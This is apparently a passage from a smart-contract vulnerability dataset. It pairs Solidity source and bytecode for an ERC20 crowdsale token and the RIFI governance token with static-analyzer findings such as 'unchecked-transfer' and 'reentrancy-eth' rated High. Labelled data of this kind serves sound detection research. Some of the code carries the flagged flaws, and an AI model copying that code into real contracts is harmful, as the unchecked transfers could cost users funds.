6c6c6f77616e6365a26469706673582212203cb834049974465c5cec8236a1b7a1021afd4775e5117a7c186aeefe77320da764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,145
0x27ca8d05de1465fa9cf5c8729b06bf641be216cd
pragma solidity ^0.4.24; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { require(_to != address(0)); var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = true; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title Pausable token * * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } /** * contract MinterStorePool **/ contract MinterStorePool is PausableToken, MintableToken { string public constant name = "MinterStorePool"; string public constant symbol = "MSP"; uint8 public constant decimals = 18; } /** * contract MinterStorePoolCrowdsale **/ contract MinterStorePoolCrowdsale is Ownable { using SafeMath for uint; address public multisigWallet; uint public startRound; uint public periodRound; uint public altCapitalization; uint public totalCapitalization; MinterStorePool public token = new MinterStorePool (); function MinterStorePoolCrowdsale () public { multisigWallet = 0xdee04DfdC6C93D51468ba5cd90457Ac0B88055FD; startRound = 1534118340; periodRound = 80; altCapitalization = 0; totalCapitalization = 2000 ether; } modifier CrowdsaleIsOn() { require(now >= startRound && now <= startRound + periodRound * 1 days); _; } modifier TotalCapitalization() { require(multisigWallet.balance + altCapitalization <= totalCapitalization); _; } function setMultisigWallet (address newMultisigWallet) public onlyOwner { require(newMultisigWallet != 0X0); multisigWallet = newMultisigWallet; } function setStartRound (uint newStartRound) public onlyOwner { startRound = newStartRound; } function setPeriodRound (uint newPeriodRound) public onlyOwner { periodRound = newPeriodRound; } function setAltCapitalization (uint newAltCapitalization) public onlyOwner { altCapitalization = newAltCapitalization; } function setTotalCapitalization (uint newTotalCapitalization) public onlyOwner { totalCapitalization = newTotalCapitalization; } function () external payable { createTokens (msg.sender, msg.value); } function createTokens (address recipient, uint etherDonat) internal CrowdsaleIsOn TotalCapitalization { require(etherDonat > 0); // etherDonat in wei require(recipient != 0X0); multisigWallet.transfer(etherDonat); uint tokens = 10000000000000; //0,00001 btc token.mint(recipient, tokens); } function customCreateTokens(address recipient, uint btcDonat) public CrowdsaleIsOn TotalCapitalization onlyOwner { require(btcDonat > 0); // etherDonat in wei require(recipient != 0X0); uint tokens = btcDonat; token.mint(recipient, tokens); } function retrieveTokens (address addressToken, address wallet) public onlyOwner { ERC20 alientToken = ERC20 (addressToken); alientToken.transfer(wallet, alientToken.balanceOf(this)); } function finishMinting () public onlyOwner { token.finishMinting(); } function setOwnerToken (address newOwnerToken) public onlyOwner { require(newOwnerToken != 0X0); token.transferOwnership(newOwnerToken); } }
0x6080604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461010b57806306fdde0314610134578063095ea7b3146101be57806318160ddd146101e257806323b872dd14610209578063313ce567146102335780633f4ba83a1461025e57806340c10f19146102755780635c975abb1461029957806366188463146102ae57806370a08231146102d25780637d64bcb4146102f35780638456cb59146103085780638da5cb5b1461031d57806395d89b411461034e578063a9059cbb14610363578063d73dd62314610387578063dd62ed3e146103ab578063f2fde38b146103d2575b600080fd5b34801561011757600080fd5b506101206103f3565b604080519115158252519081900360200190f35b34801561014057600080fd5b50610149610415565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561018357818101518382015260200161016b565b50505050905090810190601f1680156101b05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ca57600080fd5b50610120600160a060020a036004351660243561044c565b3480156101ee57600080fd5b506101f7610477565b60408051918252519081900360200190f35b34801561021557600080fd5b50610120600160a060020a036004358116906024351660443561047d565b34801561023f57600080fd5b506102486104aa565b6040805160ff9092168252519081900360200190f35b34801561026a57600080fd5b506102736104af565b005b34801561028157600080fd5b50610120600160a060020a0360043516602435610527565b3480156102a557600080fd5b50610120610644565b3480156102ba57600080fd5b50610120600160a060020a0360043516602435610654565b3480156102de57600080fd5b506101f7600160a060020a0360043516610678565b3480156102ff57600080fd5b50610120610693565b34801561031457600080fd5b50610273610713565b34801561032957600080fd5b50610332610790565b60408051600160a060020a039092168252519081900360200190f35b34801561035a57600080fd5b5061014961079f565b34801561036f57600080fd5b50610120600160a060020a03600435166024356107d6565b34801561039357600080fd5b50610120600160a060020a03600435166024356107fa565b3480156103b757600080fd5b506101f7600160a060020a036004358116906024351661081e565b3480156103de57600080fd5b50610273600160a060020a0360043516610849565b6003547501000000000000000000000000000000000000000000900460ff1681565b60408051808201909152600f81527f4d696e74657253746f7265506f6f6c0000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff161561046657600080fd5b61047083836108de565b9392505050565b60005481565b60035460009060a060020a900460ff161561049757600080fd5b6104a2848484610980565b949350505050565b601281565b600354600160a060020a031633146104c657600080fd5b60035460a060020a900460ff1615156104de57600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600354600090600160a060020a0316331461054157600080fd5b6003547501000000000000000000000000000000000000000000900460ff161561056a57600080fd5b60005461057d908363ffffffff610aa216565b6000908155600160a060020a0384168152600160205260409020546105a8908363ffffffff610aa216565b600160a060020a038416600081815260016020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561066e57600080fd5b6104708383610ab1565b600160a060020a031660009081526001602052604090205490565b600354600090600160a060020a031633146106ad57600080fd5b6003805475ff000000000000000000000000000000000000000000191675010000000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a0316331461072a57600080fd5b60035460a060020a900460ff161561074157600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600381527f4d53500000000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff16156107f057600080fd5b6104708383610ba1565b60035460009060a060020a900460ff161561081457600080fd5b6104708383610c68565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a0316331461086057600080fd5b600160a060020a038116151561087557600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600081158061090e5750336000908152600260209081526040808320600160a060020a0387168452909152902054155b151561091957600080fd5b336000818152600260209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b600080600160a060020a038416151561099857600080fd5b50600160a060020a038416600081815260026020908152604080832033845282528083205493835260019091529020546109d8908463ffffffff610d0116565b600160a060020a038087166000908152600160205260408082209390935590861681522054610a0d908463ffffffff610aa216565b600160a060020a038516600090815260016020526040902055610a36818463ffffffff610d0116565b600160a060020a03808716600081815260026020908152604080832033845282529182902094909455805187815290519288169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001949350505050565b60008282018381101561047057fe5b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610b0657336000908152600260209081526040808320600160a060020a0388168452909152812055610b3b565b610b16818463ffffffff610d0116565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000600160a060020a0383161515610bb857600080fd5b33600090815260016020526040902054610bd8908363ffffffff610d0116565b3360009081526001602052604080822092909255600160a060020a03851681522054610c0a908363ffffffff610aa216565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610c9c908363ffffffff610aa216565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600082821115610d0d57fe5b509003905600a165627a7a7230582013faad0a0f8de8e6409194b27495e78fb6046f6d2ed31fb10ed641cceadf7f670029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,146
0xd2b9d016fce1179a4d85da1a48dd85e796611d34
pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; contract Rifi { /// @notice EIP-20 token name for this token string public constant name = "Rikkei Finance"; /// @notice EIP-20 token symbol for this token string public constant symbol = "RIFI"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public constant totalSupply = 500000000e18; // 500 million Rifi /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new Rifi token * @param account The initial account to grant all the tokens */ constructor(address account) public { balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Rifi::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Rifi::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Rifi::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "Rifi::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Rifi::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Rifi::delegateBySig: invalid nonce"); require(now <= expiry, "Rifi::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "Rifi::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "Rifi::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "Rifi::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "Rifi::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "Rifi::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "Rifi::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "Rifi::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "Rifi::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea571461025f578063c3cda52014610272578063dd62ed3e14610285578063e7a324dc14610298578063f1127ed8146102a057610121565b806370a08231146101fe578063782d6fe1146102115780637ecebe001461023157806395d89b4114610244578063a9059cbb1461024c57610121565b806323b872dd116100f457806323b872dd14610181578063313ce56714610194578063587cde1e146101a95780635c19a95c146101c95780636fcfff45146101de57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461016457806320606b7014610179575b600080fd5b61012e6102c1565b60405161013b9190611749565b60405180910390f35b610157610152366004611212565b6102eb565b60405161013b919061169f565b61016c6103a8565b60405161013b91906116ad565b61016c6103b8565b61015761018f3660046111c5565b6103cf565b61019c610514565b60405161013b91906117e3565b6101bc6101b7366004611165565b610519565b60405161013b9190611691565b6101dc6101d7366004611165565b610534565b005b6101f16101ec366004611165565b610541565b60405161013b91906117ba565b61016c61020c366004611165565b610559565b61022461021f366004611212565b61057d565b60405161013b91906117ff565b61016c61023f366004611165565b610794565b61012e6107a6565b61015761025a366004611212565b6107c6565b61022461026d366004611165565b610802565b6101dc610280366004611242565b610872565b61016c61029336600461118b565b610a62565b61016c610a94565b6102b36102ae3660046112c9565b610aa0565b60405161013b9291906117c8565b6040518060400160405280600e81526020016d52696b6b65692046696e616e636560901b81525081565b6000806000198314156103015750600019610326565b6103238360405180606001604052806025815260200161198c60259139610ad5565b90505b336000818152602081815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103949085906117f1565b60405180910390a360019150505b92915050565b6b019d971e4fe8401e7400000081565b6040516103c49061167b565b604051809103902081565b6001600160a01b0383166000908152602081815260408083203380855290835281842054825160608101909352602580845291936001600160601b03909116928592610425928892919061198c90830139610ad5565b9050866001600160a01b0316836001600160a01b03161415801561045257506001600160601b0382811614155b156104fa57600061047c83836040518060600160405280603d81526020016118e5603d9139610b04565b6001600160a01b03898116600081815260208181526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104f09085906117f1565b60405180910390a3505b610505878783610b43565b600193505050505b9392505050565b601281565b6002602052600090815260409020546001600160a01b031681565b61053e3382610cee565b50565b60046020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600160205260409020546001600160601b031690565b60004382106105a75760405162461bcd60e51b815260040161059e9061178a565b60405180910390fd5b6001600160a01b03831660009081526004602052604090205463ffffffff16806105d55760009150506103a2565b6001600160a01b038416600090815260036020908152604080832063ffffffff600019860181168552925290912054168310610651576001600160a01b03841660009081526003602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b031690506103a2565b6001600160a01b038416600090815260036020908152604080832083805290915290205463ffffffff1683101561068c5760009150506103a2565b600060001982015b8163ffffffff168163ffffffff16111561074f57600282820363ffffffff160481036106be611122565b506001600160a01b038716600090815260036020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b0316918101919091529087141561072a576020015194506103a29350505050565b805163ffffffff1687111561074157819350610748565b6001820392505b5050610694565b506001600160a01b038516600090815260036020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60056020526000908152604090205481565b604051806040016040528060048152602001635249464960e01b81525081565b6000806107eb836040518060600160405280602681526020016119b160269139610ad5565b90506107f8338583610b43565b5060019392505050565b6001600160a01b03811660009081526004602052604081205463ffffffff168061082d57600061050d565b6001600160a01b0383166000908152600360209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03169392505050565b60006040516108809061167b565b60408051918290038220828201909152600e82526d52696b6b65692046696e616e636560901b6020909201919091527f5a847981f781734e1be3edbac5318ec92b265791c671564bd1c8c51986cebef36108d8610d78565b306040516020016108ec94939291906116f9565b604051602081830303815290604052805190602001209050600060405161091290611686565b60405190819003812061092d918a908a908a906020016116bb565b6040516020818303038152906040528051906020012090506000828260405160200161095a92919061164a565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610997949392919061172e565b6020604051602081039080840390855afa1580156109b9573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166109ec5760405162461bcd60e51b815260040161059e9061177a565b6001600160a01b03811660009081526005602052604090208054600181019091558914610a2b5760405162461bcd60e51b815260040161059e9061175a565b87421115610a4b5760405162461bcd60e51b815260040161059e9061179a565b610a55818b610cee565b505050505b505050505050565b6001600160a01b039182166000908152602081815260408083209390941682529190915220546001600160601b031690565b6040516103c490611686565b600360209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610afc5760405162461bcd60e51b815260040161059e9190611749565b509192915050565b6000836001600160601b0316836001600160601b031611158290610b3b5760405162461bcd60e51b815260040161059e9190611749565b505050900390565b6001600160a01b038316610b695760405162461bcd60e51b815260040161059e9061176a565b6001600160a01b038216610b8f5760405162461bcd60e51b815260040161059e906117aa565b6001600160a01b038316600090815260016020908152604091829020548251606081019093526036808452610bda936001600160601b03909216928592919061195690830139610b04565b6001600160a01b03848116600090815260016020908152604080832080546001600160601b0319166001600160601b03968716179055928616825290829020548251606081019093526030808452610c429491909116928592909190611a2690830139610d7c565b6001600160a01b038381166000818152600160205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610caf9085906117f1565b60405180910390a36001600160a01b03808416600090815260026020526040808220548584168352912054610ce992918216911683610db8565b505050565b6001600160a01b03808316600081815260026020818152604080842080546001845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3